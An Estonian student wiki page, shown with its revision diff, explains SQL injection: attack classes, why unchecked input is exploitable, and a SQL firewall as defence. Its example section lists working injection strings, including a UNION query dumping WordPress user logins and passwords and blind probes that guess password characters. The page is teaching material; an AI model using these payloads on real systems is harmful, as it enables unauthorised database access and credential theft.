SQL Injection: Difference between revisions

From ICO wiki
Jump to navigationJump to search
Mreinsaa (talk | contribs)
No edit summary
Mreinsaa (talk | contribs)
No edit summary
Line 22: Line 22:




== Injection tüüpi ründed ==
== (SQL) Injection tüüpi ründed ==


SQL, OS, LDAP Injection tüüpi rünnete puhul kasutatakse ära mitmeid teatud nõrkusi applikatsioonides.  
SQL, OS, LDAP Injection tüüpi rünnete puhul kasutatakse ära mitmeid teatud nõrkusi applikatsioonides.  


Ründaja saab eksitada serverit ning seejärel käivitada mitmeid käske või hankida teavet ilma, et peaks olema autoriseeritud.
Ründaja saab eksitada serverit ning seejärel käivitada mitmeid käske või hankida teavet ilma, et peaks olema autoriseeritud.
Põhiline manipuleerimine käibki kasutaja sisendiga, sisestades vastavasse vormi päringuid, mida enne käivitamist eraldi ei kontrollita. Samuti ei piirata info ligipääsu autoriseerimata kasutajatele või vale taseme autoriseeritud kasutajatele arvates, et vastava päringulahtri mittekuvamine teeb info kättesaamise võimatuks. Enamasti on andmebaasid aga ühtsed ning suvalisest päringuvormist saame kätte mistahes andmed.




Line 49: Line 51:


</source>
</source>
[[File:Gsql1test.PNG‎]]
Ründe sooritamine
[[File:Gsql1testtulem.PNG]]
Väljavõte ründest





Revision as of 23:52, 18 May 2014

Autor

Nimi: Marti Reinsaar
Grupp: A21 (2013/2014)


Sissejuhatus

OWASP (Open Web Application Security Project) on Injection tüüpi ründed liigitanud 2013 Top10 seisuga esikohale.

Siin kirjatükis keskendume SQL Injection tüüpi rünnetele ning anname aimu millega on üldse tegemist.


Klassid

   Klassikaline SQLI
   Blind või Inference SQL injection
   Andmebaasisüsteemi spetsiifiline SQLI
   Ühendatud SQLI ründed
       *SQL injection + ebaturvaline autentimine
       *SQL injection + DDoS ründed
       *SQL injection + DNS ründed
       *SQL injection + XSS


(SQL) Injection tüüpi ründed

SQL, OS, LDAP Injection tüüpi rünnete puhul kasutatakse ära mitmeid teatud nõrkusi applikatsioonides.

Ründaja saab eksitada serverit ning seejärel käivitada mitmeid käske või hankida teavet ilma, et peaks olema autoriseeritud.

Põhiline manipuleerimine käibki kasutaja sisendiga, sisestades vastavasse vormi päringuid, mida enne käivitamist eraldi ei kontrollita. Samuti ei piirata info ligipääsu autoriseerimata kasutajatele või vale taseme autoriseeritud kasutajatele arvates, et vastava päringulahtri mittekuvamine teeb info kättesaamise võimatuks. Enamasti on andmebaasid aga ühtsed ning suvalisest päringuvormist saame kätte mistahes andmed.


Näited rünnetest

'OR''='

' UNION SELECT TABLE_SCHEMA, TABLE_NAME FROM information_schema.TABLES;# --

' UNION SELECT user_login,user_pass FROM wp.wp_users; #

' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''='  //(Kas eksisteerib täht w)

' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '__w%') AND ''=' //(Kas täht w on paroolis kolmandal kohal)

' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''=' //(Kas valitud andmebaas sisaldab tähte J)

' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='test' AND TABLE_NAME='one') AND ''=' //(Kas tabel one asub andmebaasis test)

' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%j%')>1 AND ''=' //(Kas on rohkem kui üks tabel andmebaasis, sialdades tähte J)


Ründe sooritamine


Väljavõte ründest


Kaitse SQL Injectioni vastu

Üks levinud variant on kasutada SQL rünnete vastu mõnda SQL tulemüüri - näiteks GreenSQL.

GreenSQL - https://wiki.itcollege.ee/index.php/GreenSQL


Kasutatud kirjandus